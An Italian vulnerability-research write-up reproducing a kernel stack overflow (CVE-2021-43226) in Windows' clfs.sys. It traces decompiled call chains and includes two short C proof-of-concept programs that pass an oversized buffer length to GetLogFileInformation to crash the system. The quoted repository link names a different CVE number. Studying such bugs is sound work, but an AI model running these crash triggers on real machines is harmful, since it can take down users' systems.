
una prova di concetto di cve-2021-43226,overflow dello stack nel driver Windows clfs.sys
Sistema operativo: Win10 20H2 su Hyper-V, build 19042.508. Trovato un sito https://os.click/en, le immagini Windows sono abbastanza complete e finora nessun backdoor rilevato.
Poiché il PoC trovato è stato compilato con Visual Studio 2013, anch’io ho utilizzato Visual Studio 2013 con collegamento statico.
Il punto vulnerabile è nella funzione CClfsLogFcbVirtual::QueryLogFileInfo all'interno di clfs.sys
clfs.sys è descritto nella documentazione Microsoft come:
The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.
Il primo puntatore di questa funzione è un CClfsLogFcbVirtual* this. Confrontando il codice prima e dopo la patch, si nota una differenza abbastanza evidente: nel seguente codice v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size); prima del quale se Size è impostato a 120 o meno.
Tra gli altri parametri chiamati da questa funzione, a2 è un FILE_OBJECT, Src è un array sullo stack (IDA decompila come __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF) e la descrizione di questa vulnerabilità è stack overflow. Si presume che quando Size è maggiore di 120 si verifichi uno stack overflow.
Un problema incontrato è che non è possibile visualizzare direttamente i cross reference; questa funzione viene chiamata tramite __guard_dispatch_icall_fptr. Attualmente sono ancora nel processo di determinazione dei parametri passati nella chiamata di funzione.
(update): Questa funzione viene chiamata da due funzioni: ClfsQueryLogFileInformation o CClfsRequest::LogFileInfo, che utilizzano rispettivamente le API CreateLogFile e GetLogFileInformation. Poiché la catena di chiamate di GetLogFileInformation è decisamente più corta, si sceglie questa API per generare il crash.
Quando GetLogFileInformation viene chiamato, l'ultimo passo di passaggio dei parametri è il seguente, all'interno della funzione LogFileInfo:
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
*((_QWORD *)this + 18),
v14,
**(unsigned int **)(*((_QWORD *)this + 6) + 24i64));
Qui v14 è un FileObject, this è un CClfsRequest passato come parametro a LogFileInfo.
Continuando a guardare la funzione che chiama LogFileInfo, è CClfsRequest::Dispatch (dichiarazione specifica: __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). Questa funzione utilizza LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; per determinare quale funzione chiamare ulteriormente. CurrentStackLocation è una struct: struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx passata come parametro, e l'assegnazione di this dipende dai parametri che la funzione superiore passa a dispatch, quindi guardiamo ulteriormente verso l'alto.
Poi c'è la funzione CClfsDispatchIoRequest: v7 = CClfsRequest::Dispatch(v4, Irp, a1); dove a1 e Irp sono parametri passati, a1 è un DeviceObject, Irp è un puntatore di tipo PIRP (per IRP fare riferimento a https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp). v4 viene assegnato come segue:
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
v4 = CClfsRequest::CClfsRequest(v6);//v4 è un int64
Continuando a guardare il passaggio dei parametri, arriviamo alla funzione CClfsDriver::LogIoDispatch, che passa direttamente i parametri che riceve alla funzione CClfsDispatchIoRequest.
Il passo precedente è la funzione nt!IofCallDriver, la cui dichiarazione è: NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );
Prima cerchiamo la dichiarazione specifica e il significato dei parametri dell'API.
GetLogFileInformation:
CLFSUSER_API BOOL GetLogFileInformation(
[in] HANDLE hLog,
[in, out] PCLFS_INFORMATION pinfoBuffer,
[in, out] PULONG cbBuffer
);
I parametri sono definiti come segue:
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
//create log file
wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
if (handle == INVALID_HANDLE_VALUE){
printf("sad:(\n");
abort();
}
printf("create log file success\n");
//sizeof(CLS_INFORMATION) è 120 cioè 0x78
CLFS_INFORMATION buffer;
ULONG t = 0x120;
BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
return 0;
}
I parametri di CreateLogFile e GetLogFileInformation seguono la documentazione Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).
Tuttavia, con logname ho avuto qualche problema. Inizialmente ho seguito la documentazione:
Ad esempio: il percorso 'LOG: c:\MyDirectory\MyLog' crea il file 'c:\MyDirectory\MyLog.blf'.
Ma ho scoperto che così facendo veniva creato direttamente un file di log chiamato 'c' nella directory corrente. Ho quindi guardato il PoC (Others), e ho cambiato il percorso in un formato generico di Windows: 'LOG: C:\\MyLog', ma così non funzionava comunque. Durante il debug ho scoperto che non veniva chiamata CClfsLogFcbVirtual::QueryLogFileInfo ma CClfsLogFcbPhysical::QueryLogFileInfo, quindi ho aggiunto un LogStreamName e ha funzionato.
Un altro piccolo problema: quando Visual Studio genera il codice, utilizza il collegamento statico. Senza la riga#pragma comment(lib,"clfsw32.lib"), il linker riporta ripetutamente errori che non trovaCreateLogFileeGetLogFileInformation.
(https://github.com/KaLendsi/CVE-2021-43224-POC)
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
//SECURITY_ATTRIBUTES psaLogFile = {};
HANDLE hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
if (INVALID_HANDLE_VALUE == hLog)
{
printf("error=%d\n", GetLastError());
return 1;
}
if (!RegisterManageableLogClient(hLog, 0))
printf("error=%d\n", GetLastError());
printf("hLog=%p\n", hLog);
CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
ULONG infoSize = 0x110;
// system("pause");
DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
if (dwRet == NULL)
{
printf("error=%d\n", GetLastError());
return 1;
}
printf("dwRet=%08x\n", dwRet);
return 0;
}